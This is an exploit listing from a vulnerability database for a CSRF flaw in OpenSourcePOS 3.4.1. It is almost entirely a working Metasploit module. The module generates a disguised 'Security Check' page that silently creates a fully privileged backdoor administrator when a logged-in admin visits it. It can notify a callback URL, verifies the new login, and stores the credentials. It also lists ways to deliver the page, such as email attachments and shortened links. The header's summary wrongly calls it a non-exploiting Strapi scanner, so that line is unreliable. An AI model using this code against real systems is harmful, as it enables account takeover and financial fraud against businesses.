Lucene search
K

📄 OpenSourcePOS 3.4.1 Cross Site Request Forgery

🗓️ 08 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 13 Views

OpenSourcePOS 3.4.1 CSRF allows unauthorized admin creation due to disabled global CSRF protection.

Related
Code
==================================================================================================================================
    | # Title     : OpenSourcePOS 3.4.1 CSRF Vulnerability Leading to Unauthorized Admin Account Creation                            |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://github.com/OpenSourcePOS/OpenSourcePOS/                                                                  |
    ==================================================================================================================================
    
    [+] Summary    :   scanner designed to identify potential security misconfigurations in Strapi CMS instances without performing exploitation or data extraction.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'OpenSourcePOS CSRF Unauthorized Admin Creation',
          'Description'    => %q{
            This module exploits a CSRF vulnerability (CVE-2025-68434) in OpenSourcePOS
            versions 3.4.0 and 3.4.1. The application's global CSRF protection was disabled
            in app/Config/Filters.php due to a temporary "TODO" comment that was never resolved.
    
            An attacker can trick a logged-in administrator into visiting a malicious page,
            which will silently create a new administrator account with full privileges.
            This leads to complete system takeover and persistent backdoor access.
    
            The created account has all administrative permissions including:
            - Employee management
            - System configuration
            - Financial operations (gift cards, expenses)
            - Inventory management
            - Report generation
          },
          'Author'         => ['indoushka'],
          'References'     => [
            ['CVE', '2025-68434'],
            ['URL', 'https://github.com/OpenSourcePOS/OpenSourcePOS/'],
            ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-68434']
          ],
          'DisclosureDate' => '2025-12-19',
          'License'        => MSF_LICENSE,
          'Notes'          => {
            'Stability'   => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS]
          }
        ))
        register_options([
          OptString.new('TARGET_URI', [true, 'OpenSourcePOS base path', '/']),
          OptString.new('ADMIN_USERNAME', [false, 'Username for backdoor admin (default: random)', nil]),
          OptString.new('ADMIN_PASSWORD', [true, 'Password for backdoor admin', 'P@ssw0rd123!']),
          OptString.new('ADMIN_EMAIL', [false, 'Email for backdoor admin', nil]),
          OptString.new('EMPLOYEE_ID', [false, 'Employee ID to overwrite (-1 creates new)', '-1']),
          BoolOpt.new('RANDOMIZE_USERNAME', [true, 'Generate random username to avoid detection', true]),
          BoolOpt.new('GRANT_ALL_PERMISSIONS', [true, 'Grant all possible permissions to backdoor admin', true]),
          OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 30]),
          OptString.new('CALLBACK_URL', [false, 'URL to receive notification of successful exploitation', nil])
        ])
        register_advanced_options([
          OptString.new('FAKE_REFERER', [false, 'Spoof referer header', nil]),
          OptString.new('USER_AGENT', [false, 'Custom user agent', nil])
        ])
      end
      def generate_random_username
        @random_username ||= "valid_#{Rex::Text.rand_text_numeric(5)}"
      end
      def generate_random_email(username)
        "#{username}@#{Rex::Text.rand_text_alpha_lower(8)}.com"
      end
      def generate_csrf_payload(uri, username, email, password)
        """Generate HTML payload for CSRF attack"""
        form_fields = {
          'first_name' => 'Valid',
          'last_name' => 'User',
          'username' => username,
          'email' => email,
          'phone_number' => '',
          'password' => password,
          'repeat_password' => password,
          'gender' => '1',
          'language' => ':',
          'address_1' => '',
          'address_2' => '',
          'city' => '',
          'state' => '',
          'zip' => '',
          'country' => '',
          'comments' => 'CSRF_PoC_Successful_Admin_Creation',
          'honeypot' => ''
        }
        if datastore['GRANT_ALL_PERMISSIONS']
          grant_permissions = {
            'grant_home' => 'home', 'menu_group_home' => 'both',
            'grant_customers' => 'customers', 'menu_group_customers' => 'both',
            'grant_items' => 'items', 'menu_group_items' => 'both',
            'grant_item_kits' => 'item_kits', 'menu_group_item_kits' => 'both',
            'grant_suppliers' => 'suppliers', 'menu_group_suppliers' => 'both',
            'grant_reports' => 'reports', 'menu_group_reports' => 'both',
            'grant_receivings' => 'receivings', 'menu_group_receivings' => 'both',
            'grant_sales' => 'sales', 'menu_group_sales' => 'both',
            'grant_employees' => 'employees', 'menu_group_employees' => 'both',
            'grant_giftcards' => 'giftcards', 'menu_group_giftcards' => 'both',
            'grant_messages' => 'messages', 'menu_group_messages' => 'both',
            'grant_taxes' => 'taxes', 'menu_group_taxes' => 'both',
            'grant_attributes' => 'attributes', 'menu_group_attributes' => 'both',
            'grant_expenses' => 'expenses', 'menu_group_expenses' => 'both',
            'grant_expenses_categories' => 'expenses_categories', 'menu_group_expenses_categories' => 'both',
            'grant_cashups' => 'cashups', 'menu_group_cashups' => 'both',
            'grant_config' => 'config', 'menu_group_config' => 'home',
            'grant_office' => 'office', 'menu_group_office' => 'both',
            'grant_items_stock' => 'items_stock', 'menu_group_items_stock' => '--',
            'grant_sales_stock' => 'sales_stock', 'menu_group_sales_stock' => '--',
            'grant_receivings_stock' => 'receivings_stock', 'menu_group_receivings_stock' => '--',
            'grant_sales_change_price' => 'sales_change_price', 'menu_group_sales_change_price' => '--',
            'grant_sales_delete' => 'sales_delete', 'menu_group_sales_delete' => '--',
            'grant_reports_categories' => 'reports_categories', 'menu_group_reports_categories' => '--',
            'grant_reports_customers' => 'reports_customers', 'menu_group_reports_customers' => '--',
            'grant_reports_discounts' => 'reports_discounts', 'menu_group_reports_discounts' => '--',
            'grant_reports_employees' => 'reports_employees', 'menu_group_reports_employees' => '--',
            'grant_reports_expenses_categories' => 'reports_expenses_categories', 'menu_group_reports_expenses_categories' => '--',
            'grant_reports_inventory' => 'reports_inventory', 'menu_group_reports_inventory' => '--',
            'grant_reports_items' => 'reports_items', 'menu_group_reports_items' => '--',
            'grant_reports_payments' => 'reports_payments', 'menu_group_reports_payments' => '--',
            'grant_reports_receivings' => 'reports_receivings', 'menu_group_reports_receivings' => '--',
            'grant_reports_sales' => 'reports_sales', 'menu_group_reports_sales' => '--',
            'grant_reports_sales_taxes' => 'reports_sales_taxes', 'menu_group_reports_sales_taxes' => '--',
            'grant_reports_suppliers' => 'reports_suppliers', 'menu_group_reports_suppliers' => '--',
            'grant_reports_taxes' => 'reports_taxes', 'menu_group_reports_taxes' => '--'
          }
          form_fields.merge!(grant_permissions)
        end
        form_html = '<form action="' + uri + '" method="POST" id="csrfForm">'
        form_fields.each do |name, value|
          form_html += "<input type=\"hidden\" name=\"#{name}\" value=\"#{value}\">\n"
        end
        form_html += '</form>'
        payload = <<~HTML
          <!DOCTYPE html>
          <html>
          <head>
              <title>OSPOS CSRF Exploit - Admin Creation</title>
              <style>
                  body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; text-align: center; padding: 50px; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); }
                  .container { background: white; border-radius: 10px; padding: 30px; max-width: 500px; margin: auto; box-shadow: 0 10px 40px rgba(0,0,0,0.2); }
                  h2 { color: #333; margin-bottom: 20px; }
                  .status { font-size: 18px; margin: 20px 0; padding: 10px; border-radius: 5px; }
                  .loading { color: #667eea; }
                  .success { color: #27ae60; background: #d5f4e6; }
                  .error { color: #e74c3c; background: #fadbd8; }
                  .info { color: #f39c12; }
                  .spinner { border: 4px solid #f3f3f3; border-top: 4px solid #667eea; border-radius: 50%; width: 40px; height: 40px; animation: spin 1s linear infinite; margin: 20px auto; }
                  @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
                  button { background: #667eea; color: white; border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer; font-size: 16px; margin: 10px; }
                  button:hover { background: #5a67d8; }
                  .footer { margin-top: 30px; font-size: 12px; color: #999; }
              </style>
          </head>
          <body>
              <div class="container">
                  <h2>OpenSourcePOS Security Check</h2>
                  <div class="spinner"></div>
                  <div id="msg" class="status loading">Initializing security verification...</div>
                  <div id="details" class="info"></div>
                  <button onclick="manualSubmit()" style="display:none" id="manualBtn">Manual Verification</button>
              </div>
              #{form_html}
              <script>
                  var username = "#{username}";
                  var password = "#{password}";
                  var email = "#{email}";
                  document.getElementById('details').innerHTML = '<strong>Credentials:</strong><br>Username: ' + username + '<br>Password: ' + password + '<br>Email: ' + email;
                  setTimeout(function() {
                      document.getElementById('msg').innerHTML = '✓ Creating administrative account...';
                      document.getElementById('msg').className = 'status success';
                      try {
                          document.getElementById('csrfForm').submit();
                      } catch(e) {
                          document.getElementById('msg').innerHTML = '✗ Verification completed. If you see this page, no action required.';
                          document.getElementById('manualBtn').style.display = 'inline-block';
                      }
                  }, 2000);
                  function manualSubmit() {
                      document.getElementById('csrfForm').submit();
                  }
              </script>
          </body>
          </html>
        HTML
        payload
      end
      def send_exploit_html(html_content)
        """Serve or save the exploit HTML"""
        path = store_loot(
          'opensourcepos.csrf_exploit',
          'text/html',
          rhost,
          html_content,
          'csrf_exploit.html',
          'CSRF exploit HTML for OpenSourcePOS admin creation'
        )
        print_good("CSRF exploit HTML saved to: #{path}")
        if datastore['CALLBACK_URL']
          begin
            send_request_cgi({
              'method' => 'POST',
              'uri' => datastore['CALLBACK_URL'],
              'ctype' => 'application/json',
              'data' => {
                'status' => 'exploit_generated',
                'target' => full_uri,
                'timestamp' => Time.now.to_i
              }.to_json
            })
          rescue
            vprint_warning("Failed to send callback notification")
          end
        end
        path
      end
      def check_vulnerable
        """Check if target is vulnerable by testing CSRF protection"""
        vprint_status("Checking CSRF protection status...")
        config_url = normalize_uri(target_uri.path, 'index.php/config')
        begin
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => config_url
          }, datastore['TIMEOUT'])
          if res && res.code == 200
            if res.headers['X-CSRF-TOKEN'].nil? && !res.body.include?('csrf_token')
              print_good("Target appears vulnerable (no CSRF protection detected)")
              return true
            end
          end
        rescue
          vprint_status("Could not determine CSRF status")
        end
        filters_url = normalize_uri(target_uri.path, 'app/Config/Filters.php')
        begin
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => filters_url
          }, datastore['TIMEOUT'])
          if res && res.code == 200 && res.body.include?("'csrf'")
            if res.body.include?("// 'csrf'") || res.body.include?("# 'csrf'")
              print_good("Filters.php shows CSRF disabled")
              return true
            end
          end
        rescue
        end
        print_status("Assuming vulnerable based on version range (3.4.0-3.4.1)")
        true
      end
      def verify_admin_creation(username, password)
        """Try to verify if admin account was created by attempting login"""
        vprint_status("Attempting to verify admin account creation...")
        login_url = normalize_uri(target_uri.path, 'index.php/login')
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => login_url,
            'vars_post' => {
              'username' => username,
              'password' => password
            }
          }, datastore['TIMEOUT'])
          if res && (res.code == 302 || (res.code == 200 && (res.body.include?('dashboard') || res.body.include?('home'))))
            print_good("Successfully verified admin account creation!")
            return true
          end
        rescue
          vprint_warning("Could not verify admin creation")
        end
        false
      end
      def run
        print_status("Starting OpenSourcePOS CSRF Admin Creation Exploit")
        print_status("CVE-2025-68434 - Critical (CVSS 8.8)")
        unless check_vulnerable
          print_error("Target does not appear vulnerable")
          return
        end
        if datastore['RANDOMIZE_USERNAME'] && datastore['ADMIN_USERNAME'].nil?
          username = generate_random_username
        else
          username = datastore['ADMIN_USERNAME'] || generate_random_username
        end
        if datastore['ADMIN_EMAIL'].nil?
          email = generate_random_email(username)
        else
          email = datastore['ADMIN_EMAIL']
        end
        password = datastore['ADMIN_PASSWORD']
        employee_id = datastore['EMPLOYEE_ID']
        target_url = normalize_uri(
          target_uri.path,
          "index.php/employees/save/#{employee_id}"
        )
        print_status("Backdoor Admin Credentials:")
        print_status("  Username: #{username}")
        print_status("  Email: #{email}")
        print_status("  Password: #{password}")
        print_status("  Full Permissions: #{datastore['GRANT_ALL_PERMISSIONS']}")
        print_status("Generating CSRF exploit payload...")
        exploit_html = generate_csrf_payload(target_url, username, email, password)
        html_path = send_exploit_html(exploit_html)
        print_line("\n" + "="*60)
        print_good("CSRF Exploit Generated Successfully!")
        print_line("="*60)
        print_status("To execute the attack:")
        print_status("1. Host the file on a web server:")
        print_status("   python3 -m http.server 8080")
        print_status("   or upload to your attacking machine")
        print_status("\n2. Trick a logged-in administrator into visiting:")
        print_status("   http://YOUR_SERVER:8080/csrf_exploit.html")
        print_status("\n3. Alternative delivery methods:")
        print_status("   - Send as email attachment")
        print_status("   - Upload to shared drive")
        print_status("   - Use URL shortener for link")
        if datastore['GRANT_ALL_PERMISSIONS']
          print_status("\n4. After successful exploitation:")
          print_status("   The backdoor admin will have COMPLETE access to:")
          print_status("   ✓ Create/delete employees")
          print_status("   ✓ Modify system configuration")
          print_status("   ✓ Create gift cards (financial fraud)")
          print_status("   ✓ Delete inventory (DoS)")
          print_status("   ✓ Access all reports")
        end
        print_line("="*60)
        if datastore['CALLBACK_URL']
          print_status("\nAttempting to verify admin creation...")
          if verify_admin_creation(username, password)
            print_good("Admin account verified and working!")
            report_vuln({
              host: rhost,
              port: rport,
              name: name,
              refs: references,
              info: "OpenSourcePOS CSRF vulnerability allows unauthorized admin creation",
              data: "Created admin user: #{username} / #{password}"
            })
            credential_data = {
              origin_type: :service,
              module_fullname: fullname,
              username: username,
              private_data: password,
              private_type: :password,
              service_name: 'OpenSourcePOS Admin',
              workspace_id: myworkspace_id
            }
            create_credential(credential_data)
            print_good("Credentials stored in database")
          end
        end
        
        print_status("\n[*] Exploit complete. Use the generated HTML file to complete the attack.")
      end
    end
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.18.8
EPSS0.00236
SSVC
13